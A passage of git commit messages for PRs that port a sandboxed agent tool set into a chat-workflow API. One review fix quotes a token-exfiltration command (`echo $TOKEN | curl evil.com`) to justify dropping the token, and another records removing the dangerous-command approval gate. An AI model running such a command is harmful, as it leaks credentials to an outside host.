that adds compareAndSetChatActiveStreamId — no workflow to dedupe yet.
Tests (TDD red→green): 23 new tests, all green; full suite 2901 pass.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — SRP/DRY cleanup
Two review fixes per PR feedback:
1. SRP/DRY — drop the local errorResponse helper from
handleChatWorkflowStream.ts; use the shared
lib/networking/errorResponse and lib/zod/validationErrorResponse
helpers instead.
2. SRP — move auth + body parsing out of handleChatWorkflowStream.ts
into the validator. Rename validateChatWorkflowBody → validateChatWorkflow
so it accepts a full NextRequest (like the existing validateChatRequest)
and returns an auth-augmented body (accountId/orgId/authToken). The
handler now opens with a single `validateChatWorkflow(request)` call.
Tests reshaped to match new seams:
- Validator test mocks validateAuthContext only
- Handler test mocks validateChatWorkflow (the new seam)
- Old "400 invalid JSON" + "400 missing chatId" handler tests collapsed
into a single "validator short-circuit passes through" test — both are
now the validator's responsibility, not the handler's
22/22 new tests green; full suite 2900/2900 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* chore: revert unrelated local changes accidentally swept into PR
Previous commit (9262f65) used `git add -A` which picked up local
Supabase CLI artifacts (supabase/.temp/) and a local .gitignore tweak
that aren't part of this PR's scope. Removing them now so the PR
diff stays scoped to the chat-workflow refactor.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) (#581)
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow
Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.
What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
existing active_stream_id (resume / 409 / fall-through) → refresh
lifecycle activity → fire-and-forget persist user message → start
runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
return run.getReadable() with x-workflow-run-id header
New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId
New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop
New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn
Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.
Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — structural + P1/P2 fixes
Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
- Generic `updateChat({filter, updates})` with optional CAS predicate
on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
touchChat (both deleted).
- Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
domain-specific isFirstChatMessage. The "is earliest?" check now
lives in persistLatestUserMessage where it belongs.
- Rename createChatMessageIfNotExists → `upsertChatMessage` with a
discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
(OCP — handler stays small, resume logic grows independently).
cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
`pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
race where two requests could both bill the model before one lost the
CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
clears stale active_stream_id on transient workflow API failures —
we treat any uncertainty as conflict. Failed CAS-clear on a completed
run also returns conflict (rather than possibly falling through to
ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
unawaited cancellation could escape the try/catch.
cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
lands with tool ports (PR 4). Multi-turn loop with the same input was
unsafe — log+warn if model returns tool-calls and exit.
Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): top-level import in reconcileExistingActiveStream
The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.
Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): move active_stream_id CAS out of supabase lib
Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:
- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
`where: Partial<Tables<"chats">>` (a generic predicate that maps to
`column = value` or `column IS NULL`) so no column name is hardcoded
in the Supabase lib.
- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
Owns the "compare-and-set on active_stream_id" concept and returns a
discriminated `{ok, claimed} | {ok: false, error}` result. Handler
and reconcileExistingActiveStream both compose against this wrapper
instead of constructing predicates inline.
- Handler + reconcile updated to use the wrapper. Tests follow.
37/37 tests in touched files pass; full suite 2955/2955; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(chat-workflow): Next.js build — discriminated-union narrowing + supabase type depth
Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).
1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
narrowing wasn't kicking in under Next.js's strict TS plugin.
Switched to `if ("error" in result)` (in-operator narrowing) which
reliably discriminates the union members regardless of literal-type
inference quirks.
2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
.update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
`.eq()` per where entry) caused "type instantiation is excessively
deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
reassignment kept expanding the type. Rewrote as: split where map
into equality matches (one `.match(obj)` call) + nullable columns
(reduced with `.is(col, null)` typed back to the original builder).
Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4, slim) (#583)
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4 of 4, slim)
Slim PR 4: ports the `bash` sandbox tool from open-agents and wires it
through the workflow via streamText's `experimental_context`. Proves
the entire tool-execution machinery works end-to-end. The remaining 10
tools (read, write, grep, glob, todo, task, ask_user_question, skill,
fetch + utils) port in a follow-up; this PR's scope was deliberately
held to one tool so the wire-up is reviewable in isolation.
New files:
- lib/agent/tools/utils.ts — AgentContext type, isAgentContext guard,
getSandbox() that reconnects via connectVercel(state) per call.
- lib/agent/tools/buildRecoupExecEnv.ts — { RECOUP_ACCESS_TOKEN,
RECOUP_ORG_ID } env builder from context.
- lib/agent/tools/bashTool.ts — direct port of open-agents bash.ts
adapted to api's Sandbox interface. Injects recoup env on foreground
execs only (detached processes outlive the prompt → no token).
- lib/agent/buildAgentTools.ts — factory returning the agent's tool
record. Adding the remaining tools is a one-line append to this map.
Wire-up:
- runAgentStep now accepts `agentContext`, passes into streamText as
experimental_context, and uses streamText's internal multi-step loop
(stopWhen: stepCountIs(25)) for tool-call iteration — no outer loop
in runAgentWorkflow needed.
- handleChatWorkflowStream derives recoupOrgId from session.clone_url
via extractOrgId, builds AgentContext with session.sandbox_state +
validated.authToken, passes to start(workflow).
Tests: 23 new (3 utils + 5 buildRecoupExecEnv + 10 bashTool + 2 factory
+ 3 workflow file updates picked up by existing tests). Full suite
2978/2978 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR 583 review — KISS/SRP + drop token exposure
Sweetman KISS/SRP feedback (4 comments):
- Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's
default stop condition handles tool-call iteration without an
arbitrary cap that could silently truncate the only workflow turn.
- Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from
bashTool. All model-issued commands are trusted in this PR — host-
side gating belongs at the route/UI layer if it ever returns.
- Removed `needsApproval` from bashTool entirely (subsumes cubic P1
about the broken override ordering — the gate itself is gone).
- Split `lib/agent/tools/utils.ts` into per-function files:
- `AgentContext.ts` — type
- `isAgentContext.ts` — guard
- `getSandbox.ts` — sandbox reconnection
No catch-all utils file.
Cubic feedback:
- **P0**: Removed `recoupAccessToken` from AgentContext + handler +
buildRecoupExecEnv. Handing the long-lived api key to bash would let
any model-issued command exfiltrate it via env (`echo $TOKEN | curl
evil.com`). Slim PR 4 has no actual consumer for the token — only
the future `skill` tool needs it. Proper short-lived token minting
will land alongside that port.
- **P2** (`isAgentContext` too weak): tightened the guard to validate
sandbox.state is a non-null object AND sandbox.workingDirectory is a
non-empty string. Earlier guard returned true for `{ sandbox: {} }`,
letting tools later crash on undefined fields.
- P1 + P2 about stopWhen / needsApproval: resolved by sweetman's
deletions above.
- P2 (test file >100 lines): dismissed — same as PR 3 review. The repo
has no enforced max-lines rule; existing tests routinely exceed 700
lines.
Tests updated for the new shape. 25 tests in touched files green
(8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv +
2 factory). Full suite 2980/2980 pass; lint clean; production build
succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat): extract CHAT_AGENT_STOP_WHEN, shared by /api/chat + /api/chat/workflow
Per discussion on PR #583. Restoring the streamText stop condition so
the workflow agent gets the model wrap-up turn after a tool call (model
→ tool → tool-result → model → text response), instead of stopping at
streamText's default `stepCountIs(1)` after the first tool call.
DRY by sharing one constant between the two chat endpoints:
- New: `CHAT_AGENT_STOP_WHEN = stepCountIs(111)` in lib/chat/const.ts.
Inherits the value that /api/chat already uses (originally hardcoded
in getGeneralAgent.ts:55) — high enough that normal flows never hit
the cap but bounds runaway loops for cost / replay safety.
- lib/agents/generalAgent/getGeneralAgent.ts: imports the constant
instead of constructing stepCountIs(111) inline.
- app/lib/workflows/runAgentStep.ts: imports the constant, passes to
streamText as `stopWhen`.
Single-shot agents (createCompactAgent, createContentPromptAgent,
createEmailReplyAgent) intentionally keep their local `stepCountIs(1)`
— they're not in the multi-step chat family.
Full suite 2980/2980 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep… (#585)
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep/glob/todo/web_fetch (PR 5)
Builds on PR 4 (bash + wire-up) by porting the remaining leaf tools
from open-agents/packages/agent/tools/. Each is a direct port adapted
to api's Sandbox interface, registered in buildAgentTools, and ready
for the agent to invoke through the existing experimental_context
plumbing.
New tool files (one tool per file, per sweetman SRP):
- readFileTool.ts — read with 1-indexed offset/limit, numbered output
- writeFileTool.ts — create / overwrite (with mkdir -p) on sandbox.writeFile
- editFileTool.ts — exact-string replace, ambiguous-match rejection
- grepTool.ts — POSIX ERE search via `grep -rn`, capped at 100/10/200
- globTool.ts — find -printf with mtime sort, GNU/BSD-compatible
- todoWriteTool.ts — stateless planning surface; echoes the list back
- webFetchTool.ts — curl from inside the sandbox, body truncated at 10KB
New helpers (utilities used by multiple tools):
- shellEscape.ts — `'` → `'\''` dance
- toDisplayPath.ts — absolute → relative-when-inside-workdir display path
buildAgentTools registers all 8 leaf tools (bash + 7 new). The composite
tools (`task`, `ask_user_question`, `skill`) need subagent context /
UI rendering / skill discovery infrastructure not in api today and
land in a follow-up PR.
Tests: 50 new across the 7 tools + 2 helpers + factory. Full suite
3014/3014; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent-tools): harmonize tool exports as direct values (drop factory wrappers)
Per PR 585 review question — most tools were defined as `() => tool({...})`
factories while two (todoWriteTool, webFetchTool) were direct values.
The split was a vestigial copy from open-agents where the factory
pattern only made sense for tools that took options (originally bash's
ToolOptions, which sweetman had me remove in PR 4 review).
AI SDK's `tool()` helper returns a plain value with no per-call state,
so the factory wrappers added nothing. Harmonized to direct-value
exports across all 8 tools:
- bashTool, readFileTool, writeFileTool, editFileTool, grepTool,
globTool: dropped the `() =>` wrapper.
- buildAgentTools.ts: dropped the matching `()` calls.
- 6 test files: dropped `const tool = xTool();` calls (use `xTool` directly).
Full suite 3014/3014 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim) (#587)
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim)
Ports the `skill` composite tool from open-agents along with the skill
discovery layer it depends on. The handler now connects to the sandbox
before workflow start, scans `${workingDirectory}/skills/` for project-
level skills, and threads the catalog into the workflow via
`AgentContext.skills`. The `skill` tool is registered in
`buildAgentTools` only when the catalog is non-empty — so models in
sandboxes without skills never see the tool.
New skills layer (lib/skills/):
- skillTypes.ts — SkillMetadata, SkillOptions, skillFrontmatterSchema,
frontmatterToOptions (Zod schema + camelCase normalization)
- parseSkillFrontmatter.ts — hand-rolled YAML subset parser
(key:value, quoted strings, booleans; preserves colons in URLs)
- extractSkillBody.ts — strip frontmatter, return body
- substituteArguments.ts — $ARGUMENTS replacement
- injectSkillDirectory.ts — prepend `Skill directory: <path>`
- discoverSkills.ts — scan dirs, parse frontmatter, dedupe by name,
drop names that shadow built-in /model /resume /new
- getSandboxSkillDirectories.ts — slim: `[${workingDirectory}/skills]`
only. Global skills (~/.skills) port later alongside short-lived
token minting
New tool: lib/agent/tools/skillTool.ts — case-insensitive lookup,
respects `disable-model-invocation`, surfaces available-skills list
on unknown name. Loads SKILL.md content, applies extractSkillBody →
injectSkillDirectory → substituteArguments, returns to the model.
Wire-up:
- AgentContext gains `skills?: SkillMetadata[]`
- buildAgentTools accepts `{ skills }`, registers skill tool when
non-empty
- runAgentStep passes `agentContext.skills` to buildAgentTools
- handleChatWorkflowStream connects sandbox + discoverSkills before
start(workflow); empty catalog on discovery failure (best-effort,
never blocks the request)
Slim scope decisions:
- Project skills only (no global ~/.skills/ scan yet)
- No short-lived token minting; the recoup-api skill would still
load + return content, but its curl examples wouldn't authenticate
without ad-hoc credentials. Token minting becomes a separate PR
where it can be designed properly (Privy JWT vs server-minted JWT
scoped to accountId + sandbox session).
Tests: 35 new (4 extractSkillBody + 4 substituteArguments + 2
injectSkillDirectory + 7 parseSkillFrontmatter + 9 discoverSkills +
7 skillTool + 4 buildAgentTools updated). Full suite 3049/3049 pass;
lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(skills): match open-agents 3-path scan (was scanning the wrong dir)
The slim getSandboxSkillDirectories looked at \${workingDirectory}/skills/
— a path that doesn't exist in real recoupable sandboxes. The actual
layout (mirrored from open-agents/apps/web/lib/skills/directories.ts):
- \${workingDirectory}/.claude/skills/ (project, claude-style)
- \${workingDirectory}/.agents/skills/ (project, agents-style)
- \${HOME}/.agents/skills/ (global; populated at
provisioning by
installSessionGlobalSkills)
Also drops the earlier deferral comment: global skills load fine
WITHOUT short-lived token minting. The skill tool returns SKILL.md
content to the model; only the curl examples *inside* SKILL.md need
auth credentials, and those can be supplied ad-hoc until proper
token minting lands.
Changes:
- getSandboxSkillDirectories now async (uses resolveSandboxHomeDirectory
to find the sandbox's actual $HOME — defaults to /root)
- exports the two sub-functions (getProjectSkillDirectories +
getGlobalSkillsDirectory) so they're individually testable
- Handler awaits the async path resolution
- New test suite covers all 3 paths + $HOME variants
Caught by sweetman pointing out that this same repo (org-rostrum-pacific)
DOES show skills in open-agents — proving the slim deferral was wrong.
Full suite 3053/3053; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): YAGNI project-dir scan + extract getSkills (per PR 587 feedback)
Two changes per user direction:
1. **YAGNI: drop project-skill directory scanning.** All skills are
provisioned globally via `installSessionGlobalSkills` at sandbox
startup — org repos do NOT bundle their own skill directories.
getSandboxSkillDirectories now returns just the single global
path: \`\${HOME}/.agents/skills\`. Deleted getProjectSkillDirectories
and the PROJECT_SKILL_BASE_FOLDERS array.
2. **SRP: extract getSkills into its own file.** Previously inline in
skillTool.ts (per sweetman comment on PR 587). Now lives at
lib/skills/getSkills.ts with its own tests. Future skill-aware
consumers (e.g. system-prompt builders) share the same accessor
instead of duplicating the context-cast.
Verified live on preview against \`recoupable/org-rostrum-pacific-...\`
BEFORE this commit:
- Sandbox provisioning installs 2 globals at
/home/vercel-sandbox/.agents/skills/ (recoup-api + artist-workspace)
- Agent invoked \`skill({ skill: "recoup-api" })\` successfully,
received 11,173 chars of SKILL.md content with the correct
"Skill directory: /home/vercel-sandbox/.agents/skills/recoup-api"
header
Full suite 3055/3055; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): SRP — extract findSkillFile + getGlobalSkillsDirectory
Per sweetman PR review (comments r3283710486 and r3283762023). Each
helper now lives in its own file with its own focused test suite:
- lib/skills/findSkillFile.ts — was inlined in discoverSkills.ts
- 3 new unit tests (prefer SKILL.md, fall back to skill.md, null
when neither exists)
- lib/skills/getGlobalSkillsDirectory.ts — was inlined in
getSandboxSkillDirectories.ts
- 2 new unit tests (standard path, trailing-slash tolerance)
discoverSkills now imports findSkillFile. getSandboxSkillDirectories
imports getGlobalSkillsDirectory. The old getSandboxSkillDirectories
test loses its inline getGlobalSkillsDirectory cases (those moved to
the dedicated test file).
Full suite passes; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port task + ask_user_question composite tools (PR 7) (#589)
* feat(chat-workflow): port task + ask_user_question composite tools (PR 7)
Completes the open-agents tool surface. The agent now has all 11 tools.
**ask_user_question** (lib/agent/tools/askUserQuestionTool.ts) —
client-side tool with NO server execute. Schema mirrors open-agents
verbatim (questions array, options with label/description, multiSelect
flag, max 12-char header). streamText halts after emitting the tool-
call because there's no result to feed back; the chat UI renders the
question component, collects answers, and submits them in the next
workflow request's messages array. No WDK pause/resume hook needed.
**task** (lib/agent/tools/taskTool.ts) — slim port of open-agents'
multi-type SUBAGENT_REGISTRY → one generic subagent. Runs a sub-
`streamText` loop with a curated subagent tool set (`read, write,
edit, grep, glob, bash`) matching open-agents' `executor` subagent.
The subagent tool set deliberately EXCLUDES:
- task (recursion guard — open-agents' three subagent types
executor/explorer/design all explicitly omit task too; subagents
are leaves of the agent tree)
- ask_user_question, skill, todo_write, web_fetch (parity with
open-agents subagent curation; subagents run autonomously, don't
plan from scratch, don't make web calls, don't load further skills)
AgentContext gains `modelId?: string` so the subagent can use the
same model as its parent. Handler populates it from chat.model_id
or the platform default.
buildAgentTools registers both new tools unconditionally (skill stays
conditional on a non-empty catalog).
Quirk: api's AI SDK (6.0.0-beta.122) calls toModelOutput(output)
directly, NOT toModelOutput({ output }) as open-agents' newer 6.0.165
does. askUserQuestionTool uses the direct signature.
Tests: 9 askUserQuestionTool + 6 taskTool + updated buildAgentTools
+ AgentContext updates. Full suite 3075/3075 pass, lint clean,
production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(task-tool): provide non-empty subagent prompt
The subagent's streamText was invoked with messages: [] and only a
system prompt, so the AI SDK recorded zero steps and threw
NoOutputGeneratedError — surfaced to the parent as "Subagent failed:
No output generated. Check the stream for errors."
Pass an explicit user-side trigger prompt, mirroring open-agents'
task tool. Adds a regression test that asserts streamText receives
either a non-empty prompt or non-empty messages.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(task-tool): extract buildSubagentTools (SRP) + drop modelId from AgentContext (KISS)
Address PR review feedback:
- SRP: move buildSubagentTools to lib/agent/tools/buildSubagentTools.ts
(one exported function per file).
- KISS: open-agents' AgentContext type does not have modelId — it uses
model: LanguageModel / subagentModel?: LanguageModel. api can't follow
that exact shape because agentContext is part of a durable Vercel
Workflow input and LanguageModel objects aren't JSON-serializable.
Instead of inventing modelId on AgentContext, hardcode a default
subagent model id in taskTool. A subagentModelId override field can
be added if/when a real consumer needs it.
Also format-fixes askUserQuestionTool.ts toModelOutput arrow
(parentheses around single param flagged by prettier in CI).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent): align AgentContext + model resolution with open-agents
Match open-agents' `tools/utils.ts` + `types.ts` shape so the subagent
inherits the parent's model (rather than the previous hardcoded
SUBAGENT_MODEL_ID):
- AgentContext gains `model: LanguageModel` (required) and
`subagentModel?: LanguageModel`, mirroring open-agents.
- Introduce DurableAgentContext = Omit<AgentContext, "model" | "subagentModel">
for the workflow input shape, since LanguageModel instances aren't
JSON-serializable and can't ride durable Vercel Workflow inputs.
- runAgentStep constructs `callModel = gateway(input.modelId)` once
per step and merges it into experimental_context — same pattern as
open-agents' prepareCall in open-harness-agent.ts.
- New getMainModel / getSubagentModel helpers (SRP, one per file)
mirror open-agents' utility functions: getSubagentModel returns
`ctx.subagentModel ?? ctx.model`.
- taskTool drops the hardcoded SUBAGENT_MODEL_ID; calls
getSubagentModel(experimental_context, "task") instead — subagent
now defaults to the same model the parent is running.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): emit per-message cost/usage metadata (cutover Bundle C) (#592)
* feat(chat-workflow): emit per-message cost/usage metadata (Bundle C)
First step in the open-agents → api cutover sequence. Adds a
messageMetadata callback to runAgentStep's toUIMessageStream call so
the UI receives {modelId, lastStepUsage, totalMessageUsage,
lastStepCost, totalMessageCost, stepFinishReasons} on every assistant
turn — matching open-agents' WebAgentMessageMetadata shape byte-for-byte
so sandbox.recoupable.com's model/cost badges keep working when cut
over to /api/chat/workflow.
New (SRP, one function per file):
- lib/agent/messageMetadata/extractGatewayCost.ts — port of
open-agents' gateway-metadata.ts, parses gateway-reported per-step
cost from providerMetadata.
- lib/agent/messageMetadata/addLanguageModelUsage.ts — port of
open-agents' usage.ts, pointwise-sums LanguageModelUsage records.
- lib/agent/messageMetadata/AgentMessageMetadata.ts — type mirroring
open-agents' WebAgentMessageMetadata.
- lib/agent/messageMetadata/buildMessageMetadataCallback.ts —
stateful factory returning a fresh callback per turn; accumulates
usage + cost across finish-step parts.
Wired into app/lib/workflows/runAgentStep.ts. PROGRESS notes called
this out as a known gap from the original workflow port (PR 4).
Tests: 19 new (6 + 4 + 6 + 3); full suite 3096/3096 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(message-metadata): SRP extractions + upgrade ai SDK; drop normalizeUsage
Address PR review feedback (one exported function per file) and adopt
the user's preferred path of upgrading api's `ai` package rather than
maintaining a normalization shim:
- Extract addTokenCounts.ts (used by addLanguageModelUsage)
- Extract hasGatewayShape.ts + GatewayProviderMetadata.ts (used by
extractGatewayCost)
- Split AgentStepFinishMetadata into its own file (was co-located
in AgentMessageMetadata)
Upgrade the AI SDK so the wire format matches open-agents natively:
- ai: 6.0.0-beta.122 → ^6.0.190
- @ai-sdk/anthropic, @ai-sdk/gateway, @ai-sdk/google, @ai-sdk/openai,
@ai-sdk/mcp: all bumped to latest stable
The new SDK's LanguageModelUsage is the flat shape (top-level
`inputTokens` number + nested `inputTokenDetails`) — identical to
open-agents' wire format. No conversion needed, so:
- Delete normalizeUsage.ts + test (net -82 LOC)
- Delete AgentLanguageModelUsage type (use SDK's LanguageModelUsage
directly)
Production code changes for the SDK upgrade:
- runAgentStep + setupChatRequest: await convertToModelMessages
(now returns Promise<ModelMessage[]>)
Tests: 3106/3106 pass; production typecheck clean; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(task-tool): live subagent progress + transcript (Cutover Bundle B) (#594)
Convert taskTool.execute from `async () =>` to `async function*`,
mirroring open-agents' `packages/agent/tools/task.ts`. Yields multiple
chunks during the subagent run so the chat UI can render:
- An initial "Subagent · 0 tools · 0 tokens" card with stable
startedAt timestamp
- A live `pending: {name, input}` indicator for each tool-call
- Accumulated `usage` after each finish-step
- A final `{final: ModelMessage[], ...}` chunk containing the full
subagent transcript for expandable rendering
`toModelOutput` mirrors open-agents' implementation: extracts the
last assistant text part from `output.final` for inclusion in the
parent agent's context.
New (SRP, one function per file):
- lib/agent/messageMetadata/sumLanguageModelUsage.ts — wraps
addLanguageModelUsage to handle undefined inputs without
introducing zero-tokens placeholders.
Drive-by fix: askUserQuestionTool's `toModelOutput` signature was
`(output) =>` from the older beta SDK era. The current SDK
(ai@^6.0.190) passes `({ toolCallId, input, output })`. Updated to
`({ output }) =>` so the function actually receives the user's
answers at runtime — was previously falling through to the generic
"User responded to questions." path. Tests updated to match.
Tests: 25 new/updated (12 taskTool + 4 sumLanguageModelUsage + 9
askUserQuestion); full suite 3114/3114 pass; lint clean.
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): thread real cwd + currentBranch into system prompt (cutover Bundle A.7) (#597)
* feat(chat-workflow): thread real cwd + currentBranch into system prompt (Bundle A.7)
Third open-agents → api cutover bundle. The handler hardcoded
`workingDirectory: DEFAULT_WORKING_DIRECTORY` and never set
`currentBranch`, so the agent had no environment info in its system
prompt and had to run `pwd` / `git branch` on every turn.
Production verification (today, before this fix):
agent: "My system prompt does not contain working directory or
branch information."
After this fix the agent receives an Environment section + Current
branch line + cloud-sandbox checkpointing block — same shape as
open-agents (sandbox.recoupable.com) emits.
Changes:
- New `lib/chat/buildAgentSystemPrompt.ts` (SRP) — assembles
environment section → Current branch → cloud-sandbox checkpointing
→ custom instructions, all conditional on inputs. Mirrors
open-agents' `buildSystemPrompt` (packages/agent/system-prompt.ts).
- New `lib/chat/cloudSandboxInstructions.ts` (SRP) — ports
open-agents' `CLOUD_SANDBOX_INSTRUCTIONS` block with `{branch}`
placeholder substitution.
- `handleChatWorkflowStream`: connect the sandbox once for both skill
discovery AND cwd/branch reading, then thread real values into
`AgentContext.sandbox.workingDirectory` + `.currentBranch`. On
connect failure, fall back to DEFAULT_WORKING_DIRECTORY (preserves
today's behavior; tools surface real errors later when they
reconnect).
- `runAgentStep`: build the system prompt via
`buildAgentSystemPrompt({cwd, currentBranch, customInstructions})`
instead of using the static `agentCustomInstructions` directly.
Scope reduced from the original "A.7+9" bundle: dropped contextLimit
plumbing because it's a client-side display concern in open-agents,
not server-side model routing (verified via grep — open-agents'
server never reads context.contextLimit either).
Tests: 7 new (6 buildAgentSystemPrompt + 1 runAgentStep wiring);
full suite 3121/3121 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* chore(chat-workflow): drop currentBranch handling from system prompt
Per direction: branch is always `main` (the default branch) in api's
deployment topology, so the per-branch `Current branch: <name>` line
and cloud-sandbox checkpointing block don't add information today.
Strip the templating to keep the system prompt focused on what's
load-bearing (the Environment section indicating workspace-relative
paths).
- Delete `lib/chat/cloudSandboxInstructions.ts` (was a port of
open-agents' CLOUD_SANDBOX_INSTRUCTIONS, only useful with a real
per-session branch)
- Drop `currentBranch` from `buildAgentSystemPrompt` options +
rendering
- Stop reading `sandbox.currentBranch` in handleChatWorkflowStream
(the field stays on AgentContext.sandbox for type completeness;
also consumed by createSandboxHandler unchanged)
- Remove branch-related test cases
Can be re-added later if/when meaningful per-session branches (e.g.
